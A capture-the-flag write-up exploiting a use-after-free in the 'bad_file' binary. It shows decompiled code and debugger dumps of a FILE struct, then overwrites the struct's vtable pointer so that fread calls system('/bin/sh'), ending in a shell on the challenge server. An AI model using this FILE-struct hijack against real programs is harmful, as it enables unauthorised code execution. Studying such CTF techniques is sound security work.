Tags: pwn

Rating:

This writeup goes out to my friend and the person who made this challenge the man the myth the legend himself, noopnoop.

Let's take a look at the binary:

$file bad_file bad_file: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=2f17700ec82063187dc67e7ac0f76345fbbd3c20, not stripped$ pwn checksec bad_file
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$./bad_file Would you like a (1) temporary name or a (2) permanent name? 1 15935728 Hello, 15935728 (for now) I created a void for you, and this can let you practice some sorcery You're in danger, you'll need a new name. 75395128 Now let's send some magic to the void!! Segmentation fault (core dumped)  So we can see that we are dealing with a 64 bit binary without RELRO or PIE. When we run the binary it prompts us for several inputs before crashing. ### Reversing When we take a look at the IDA disassembly, we see this:  int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { FILE *stream; // ST08_8@4 void *heapPtr; // [sp+0h] [bp-50h]@1 char buf; // [sp+10h] [bp-40h]@1 char ptr; // [sp+20h] [bp-30h]@4 __int64 v7; // [sp+48h] [bp-8h]@1 v7 = *MK_FP(__FS__, 40LL); heapPtr = malloc(0x250uLL); setbuf(_bss_start, 0LL); puts("Would you like a (1) temporary name or a (2) permanent name?"); read(0, &buf, 2uLL); if ( buf == '1' ) temp_name(heapPtr); else perm_name(); stream = fopen("/dev/null", "rw"); puts("I created a void for you, and this can let you practice some sorcery"); puts("You're in danger, you'll need a new name."); read(0, heapPtr, 0x160uLL); puts("Now let's send some magic to the void!!"); fread(&ptr, 1uLL, 8uLL, stream); puts(&ptr); puts("I hope the spell worked!"); exit(0); }  So we see it starts off my allocating the 0x250 byte chunk heapPtr with malloc. Proceeding that it passes it prompts us for input. If we input a 1 it runs the temp_name function with the argument heapPtr. If we input anything else it runs perm_name with the argument heapPtr (even though the disassembly doesn't show it). After that it opens up the file /dev/null. Proceeding that we are able to scan 0x160 bytes into the space pointed to by heapPtr. After that it scans in 8 bytes of data from the file object which should be /dev/null into the char buffer ptr. Following that it prints the contents of ptr. Let's take a look at the perm_name and temp_name functions:  void __fastcall temp_name(void *heapPtr) { gets(heapPtr); printf("Hello, %s (for now)\n"); free(heapPtr); }   int perm_name(heapPtr) { gets(heapPtr); return printf("Hello, %s!\n"); }  These functions are pretty similiar. They both scan in input to the heap pointer heapPtr with gets (which will allow us to overflow it), and then prints the contents of heapPtr. The difference is temp_name frees the heap pointer after printing it's contents, which we can then scan data into later. This is a use after free bug. ### Exploiting So we have a heap overflow bug with gets, and a use after free. For the heap overflow bug I initially wanted to see if I could overflow the buffer right up to an address and then leak it with the printf call. However there was one problem with that:  gef➤ x/80g 0x602010 0x602010: 0x0 0x0 0x602020: 0x0 0x0 0x602030: 0x0 0x0 0x602040: 0x0 0x0 0x602050: 0x0 0x0 0x602060: 0x0 0x0 0x602070: 0x0 0x0 0x602080: 0x0 0x0 0x602090: 0x0 0x0 0x6020a0: 0x0 0x0 0x6020b0: 0x0 0x0 0x6020c0: 0x0 0x0 0x6020d0: 0x0 0x0 0x6020e0: 0x0 0x0 0x6020f0: 0x0 0x0 0x602100: 0x0 0x0 0x602110: 0x0 0x0 0x602120: 0x0 0x0 0x602130: 0x0 0x0 0x602140: 0x0 0x0 0x602150: 0x0 0x0 0x602160: 0x0 0x0 0x602170: 0x0 0x0 0x602180: 0x0 0x0 0x602190: 0x0 0x0 0x6021a0: 0x0 0x0 0x6021b0: 0x0 0x0 0x6021c0: 0x0 0x0 0x6021d0: 0x0 0x0 0x6021e0: 0x0 0x0 0x6021f0: 0x0 0x0 0x602200: 0x0 0x0 0x602210: 0x0 0x0 0x602220: 0x0 0x0 0x602230: 0x0 0x0 0x602240: 0x0 0x0 0x602250: 0x0 0x0 0x602260: 0x0 0x20da1  Here is a look at the memory region of heapPtr which points to 0x602010 (and a bit past where it ends). The issue is other than the top chunk (0x20da1 specifies how much space is left unallocated in the heap) there is nothing but zeroes in are of the heap our overflow can reach. That couple with the fact the only thing left that happens to the heap in terms of allocating/freeing memory is a single free to heapPtr, we can't use this bug for anything other than a DOS. So that just leaves us with the use after free. However when we look into that, we see something interesting:  ────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffde00│+0x0000: 0x0000000000602010 → 0x00007ffffbad2488 ←$rsp
0x00007fffffffde08│+0x0008: 0x0000000000000000
0x00007fffffffde10│+0x0010: 0x0000000000000a31 ("1"?)
0x00007fffffffde18│+0x0018: 0x0000000000400a0d → <__libc_csu_init+77> add rbx, 0x1
0x00007fffffffde20│+0x0020: 0x0000000000000000
0x00007fffffffde28│+0x0028: 0x0000000000000000
0x00007fffffffde30│+0x0030: 0x00000000004009c0 → <__libc_csu_init+0> push r15
0x00007fffffffde38│+0x0038: 0x0000000000400740 → <_start+0> xor ebp, ebp
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400938 <main+123> mov esi, 0x400ab5
0x40093d <main+128> mov edi, 0x400ab8
0x400942 <main+133> call 0x400710 <fopen@plt>
→ 0x400947 <main+138> mov QWORD PTR [rbp-0x48], rax
0x40094b <main+142> mov edi, 0x400ac8
0x400950 <main+147> call 0x400680 <puts@plt>
0x400955 <main+152> mov edi, 0x400b10
0x40095a <main+157> call 0x400680 <puts@plt>
0x40095f <main+162> mov rax, QWORD PTR [rbp-0x50]
[#0] Id 1, Name: "bad_file", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400947 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ p $rax$1 = 0x602010
gef➤ x/x $rax 0x602010: 0xfbad2488  We can see that the fopen call returns the heap pointer 0x602010, which is where it stores information regarding the file. We can see with the read call (or really anywhere in the main function), that it overlaps directly with heapPtr:  ──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x400963 <main+166> mov edx, 0x160 0x400968 <main+171> mov rsi, rax 0x40096b <main+174> mov edi, 0x0 → 0x400970 <main+179> call 0x4006d0 <read@plt> ↳ 0x4006d0 <read@plt+0> jmp QWORD PTR [rip+0x200972] # 0x601048 0x4006d6 <read@plt+6> push 0x6 0x4006db <read@plt+11> jmp 0x400660 0x4006e0 <__libc_start_main@plt+0> jmp QWORD PTR [rip+0x20096a] # 0x601050 0x4006e6 <__libc_start_main@plt+6> push 0x7 0x4006eb <__libc_start_main@plt+11> jmp 0x400660 ──────────────────────────────────────────────────────────────────────────── arguments (guessed) ──── read@plt ($rdi = 0x0000000000000000,
$rsi = 0x0000000000602010 → 0x00007ffffbad2488,$rdx = 0x0000000000000160,
$rcx = 0x00007ffff7b042c0 → <__write_nocancel+7> cmp rax, 0xfffffffffffff001 ) ──────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "bad_file", stopped, reason: BREAKPOINT ────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x400970 → main() ───────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ x/x$rbp-0x50
0x7fffffffde00: 0x00602010


Here we can see both where heapPtr belongs in the stack, and the argument for the read call is 0x602010 which is the same pointer for the file struct. This happened because malloc will reuse previously freed memory chunks for performance reasons (if the memory sizes are correct, which in this case they are). As a result we can directly overwrite the file struct.

This is my first time dealing with a file struct exploit. At first I tried reversing the fopen and fread functions to figure out if there was a way I could somehow change which file it would read from (or really change anything that would benefit us). After a bit I tried changing various of the file struct, which is when I found something intersting. Here is the file struct after it has been allocated:


gef➤ x/44g $rax 0x602010: 0x00007ffffbad2488 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x00007ffff7dd2540 0x602080: 0x0000000000000003 0x0000000000000000 0x602090: 0x0000000000000000 0x00000000006020f0 0x6020a0: 0xffffffffffffffff 0x0000000000000000 0x6020b0: 0x0000000000602100 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x00007ffff7dd06e0 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000  Here is everything we can reach with out overflow (0x160 / 8 = 44). When fread is called, there is a function _IO_sgetn that is called on our input.  gef➤ disas _IO_sgetn Dump of assembler code for function __GI__IO_sgetn: 0x00007ffff7a88700 <+0>: mov rax,QWORD PTR [rdi+0xd8] 0x00007ffff7a88707 <+7>: mov rax,QWORD PTR [rax+0x40] 0x00007ffff7a8870b <+11>: jmp rax End of assembler dump.  In this case the register rdi holds a pointer to the file struct. Here it dereferences rdi+0xd8 (which in our case would be the value stored at 0x6020e8 which is 0x00007ffff7dd06e0). Then the instruction pointer stored at that address +0x40 is then moved into the rax register, and then executed via a jump (in our case 0x00007ffff7dd06e0 + 0x40 = 0x7ffff7dd0720). We can see that the function which should be executed is _IO_file_jumps:  gef➤ x/i 0x00007ffff7dd06e0 0x7ffff7dd06e0 <_IO_file_jumps>: add BYTE PTR [rax],al  So we can see that we can overwrite a pointer which is dereferenced to get an instruction pointer, and then executed. We will use this to get code execution. However the pointer is at offset 0xd8, so we have to overwrite several different pointers which could cause issues. To figure this out I just overwrote the values of pointers one by one to see if they would cause us issues. Turns out only one of them do cause issues, and it's nothing major. It's the pointer stored at offset 0xa0 (it's 0x602100 at 0x6020b0).  ───────────────────────────────────────────────────────────────────── stack ──── 0x00007fff456d8010│+0x0000: 0x0000000000400b40 → "Now let's send some magic to the void!!" ←$rsp
0x00007fff456d8018│+0x0008: 0x0000000000000000
0x00007fff456d8020│+0x0010: 0x00007fff456d8090 → 0x00000000004009c0 → <__libc_csu_init+0> push r15
0x00007fff456d8028│+0x0018: 0x0000000000400740 → <_start+0> xor ebp, ebp
0x00007fff456d8030│+0x0020: 0x00007fff456d8170 → 0x0000000000000001
0x00007fff456d8038│+0x0028: 0x000000000040099c → <main+223> lea rax, [rbp-0x30]
0x00007fff456d8040│+0x0030: 0x0000000000704010 → 0x0068732f6e69622f ("/bin/sh"?)
0x00007fff456d8048│+0x0038: 0x0000000000704010 → 0x0068732f6e69622f ("/bin/sh"?)
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x7fc49f4fc4b0 <fread+80> lock cmpxchg DWORD PTR [r8], esi
→ 0x7fc49f4fc4b9 <fread+89> cmpxchg DWORD PTR [r8], esi
[#0] Id 1, Name: "bad_file", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
[#1] 0x40099c → main()
────────────────────────────────────────────────────────────────────────────────
gef➤ p $r8$1 = 0x400000
gef➤ vmmap
Start End Offset Perm Path

. . .


Here we can see that the value we overwrote at offset 0xa0 to be 0x400000 is causing a crash (the reason why it is an address, is because earlier that value is derefereced, so if it isn't an address it would of causes a crash). Here it is running the cmpxchg instruction which compares the two operands, and if they aren't equal the contents of the second argument are moved into the first. The issue here is that the memory region 0x400000 is in is not writeable, so it crashes when it tries to write to it. To solve this I just looked through the memory region starting at 0x601000 for an eight byte segment that was equal to 0x0 (since without our hacking that's what the value is). Since there isn't pie I know the address before the binary runs, and since the region is writeable I can write to it no problem.

So with that, it just leaves us with our final problem. What value will we overwrite the pointer to an instruction pointer with to get code execution. There is a hidden_alleyway function which would print the flag, however due to the lack of infoleaks I couldn't find a way to get a pointer to it's address. Luckily for us the GOT table has system in it. So to get a shell I just overwrote the pointer at offset 0xd8 with the got address of system - 0x40 (we need the -0x40 to counter the +0x40). Then when it dereferences that pointer, and jumps to an instruction pointer it will call system.

The last thing we need is to pass the argument /bin/sh to the function system (which takes a char pointer as an argument). Luckily for us the first argument is passed in the rdi register, which at the time of the jump is a pointer to the freed heapPtr (and due to the overlap, stream too). So we just have to set the first eight bytes of our input equal to /bin/sh\x00 (we need the null byte in there to seperate it from the rest of the input) to pass the argument /bin/sh to system.

### Exploit Code

With all of this, we can write the exploit:


$python exploit.py [+] Opening connection to chal1.swampctf.com on port 2050: Done Would you like a (1) temporary name or a (2) permanent name? Hello, 15935728 (for now) I created a void for you, and this can let you practice some sorcery You're in danger, you'll need a new name. [*] Switching to interactive mode Now let's send some magic to the void!!$ w
23:24:24 up 8 days, 48 min, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
$ls bad_file flag.txt$ cat flag.txt
flag{plz_n3v3r_f1l3_4ft3r_fr33!}


Just like that we captured the flag!